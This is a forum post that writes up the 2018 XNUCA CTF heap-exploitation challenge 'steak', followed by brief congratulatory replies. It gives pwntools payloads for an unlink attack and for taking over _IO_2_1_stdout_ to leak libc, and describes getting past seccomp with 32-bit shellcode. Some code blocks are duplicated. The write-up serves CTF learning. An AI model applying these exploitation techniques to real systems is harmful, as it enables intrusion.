首页
社区
课程
招聘
[原创]2018-XNUCA-steak
发表于: 2019-2-20 18:46 11374

[原创]2018-XNUCA-steak

2019-2-20 18:46
11374

最近复现steak的时候发现网上的wp并不是很多,不忘初心,写一篇稍微详细些的wp。

题目漏洞:
逻辑还是比较清楚的,我在下面的附件里面已经做好了标注了就不展开讲了,直接交代漏洞情况。
1.delete操作的时候,存在uaf漏洞

2.add功能在chunk内输入信息的时候没有'\x00'结尾

3.edit操作的时候存在任意长度的溢出,可以用来构造overlapped chunk。


漏洞明显的题目,利用起来总会有卡主的地方,这题就是缺少leak函数。

突破点,我们可以控制_IO_2_1_stdout_的write_base、write_ptr等信息,利用puts函数泄露libc以及stack信息。

利用思路:
1.利用edit功能溢出构成unlink,向前合并,使得global_node结构指向其前面三个内存单元处,从而就可以控制global_node结构进行任意地址写。
2.利用copy功能,将global_node结构中的信息覆盖为_IO_2_1_stdout的地址,从而就可以控制_IO_2_1_stdout_的结构。
3.修改结构信息,泄露libc、stack信息。
4.因为开启了seccomp,所以对函数进行了一定的限制,我们通过seccomp-tools查看可以看到限制了fork函数,因此system、execve函数就不能够调用了,并且限制了open函数,那么好像读取flag操作也不能?仔细看一下,只是限制了64位的open函数,并没有限制32位的open,因此32位的shellcode还可以绕过。
5.所以我们知道了libc、stack信息之后,可以通过mprotect函数更改bss段权限,向bss段中写入shellcode,后面覆盖stack,控制程序流。

这篇文章的重点是分析以下两点,在wp中被师傅们一笔带过的事情:
1._IO_2_1_stdout_的结构信息伪造成什么样的,flag限制具体通过什么得到的。
2.shellcode编写的两种方式。

利用分析:

首先是通过缓冲区溢出构造fake_chunk,并且free chunk ,触发unlink,使得global_node指向其前面三个内存单元处,从而可以控制global_node的信息,达成任意地址写。
	add(0x80,'\x01')#0
	add(0x80,'\x02')#1
	add(0x80,'\x03')#2

	payload = p64(0)+p64(0x81)+p64(node-0x18)+p64(node-0x10)
	payload = payload.ljust(0x80,'\x00')
	payload += p64(0x80)+p64(0x90)
	edit(0,0x90,payload) #make fake chunk

	delete(1)# trigger unlink , make node[0] point to node[0]-0x18

	add(0x80,'\x01')#0
	add(0x80,'\x02')#1
	add(0x80,'\x03')#2

	payload = p64(0)+p64(0x81)+p64(node-0x18)+p64(node-0x10)
	payload = payload.ljust(0x80,'\x00')
	payload += p64(0x80)+p64(0x90)
	edit(0,0x90,payload) #make fake chunk

	delete(1)# trigger unlink , make node[0] point to node[0]-0x18

然后是将_IO_2_1_stdout的地址信息写到global_node中,这样我们后面就可以更改_IO_2_1_stdout_的结构信息了:
	payload2 = "a"*0x18+p64(node)*2+p64(bss_stdout)+p64(0x602000)#node[0]/node[1] = node[0] , node[2]=bss_stdout , node[3]=bss_addr(prepared for the mprotect)
	edit(0,0x38,payload2)

	copy(2,1,8) # make node[0] point to bss_stdout.

	payload2 = "a"*0x18+p64(node)*2+p64(bss_stdout)+p64(0x602000)#node[0]/node[1] = node[0] , node[2]=bss_stdout , node[3]=bss_addr(prepared for the mprotect)
	edit(0,0x38,payload2)

	copy(2,1,8) # make node[0] point to bss_stdout.

但是我们能够控制stdout的结构信息之后具体是如何进行控制呢?把每个字段改成什么呢?
这就需要审计linux 函数的源代码了。
这道题目我们利用的是puts函数来泄露信息,所以我们需要审计的是puts函数的源代码。可以看一下这位师傅的文章,写的比较清楚了,但是想真正的明白还是需要自己去动手试一下。
简单来说,puts函数最终的调用流程是puts-> _IO_new_file_xsputn->_IO_OVERFLOW->_IO_new_file_overflow->_IO_do_write->new_do_write->_IO_SYSWRITE  ,  其中当然要通过许多限制,因此我们的flag要设置成对应的值才能成功利用。
最终调用的函数是
        _IO_SYSWRITE (fp, data, to_do)
其中data = _IO_write_base是输出信息的起始地址,to_do = _IO_write_ptr -   _IO_write_base,是输出信息的长度。
这道题目的flag限制要设置成0xfbad3887,因为时间原因我也还没去看源代码,以后回去看下,具体原因如果有师傅跟踪出来了,希望师傅能够评论或者私信告诉我一下。

修改_IO_2_1_stdout_的结构信息,泄露libc

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-9-26 13:38 被Seclusion编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
打赏 + 5.00雪花
打赏次数 1 雪花 + 5.00
 
赞赏  Editor   +5.00 2019/02/21
最新回复 (4)
雪    币: 26245
活跃值: (63297)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
2
感谢分享!
2019-2-20 21:21
1
雪    币: 4709
活跃值: (1575)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
3
感谢大佬分享,膜拜下大牛
2019-2-20 21:49
0
雪    币: 18
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
膜拜大佬
2019-2-20 23:00
0
雪    币: 403
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
ihhm 膜拜大佬[em_67]
2019-2-21 08:56
0
游客
登录 | 注册 方可回帖
返回
//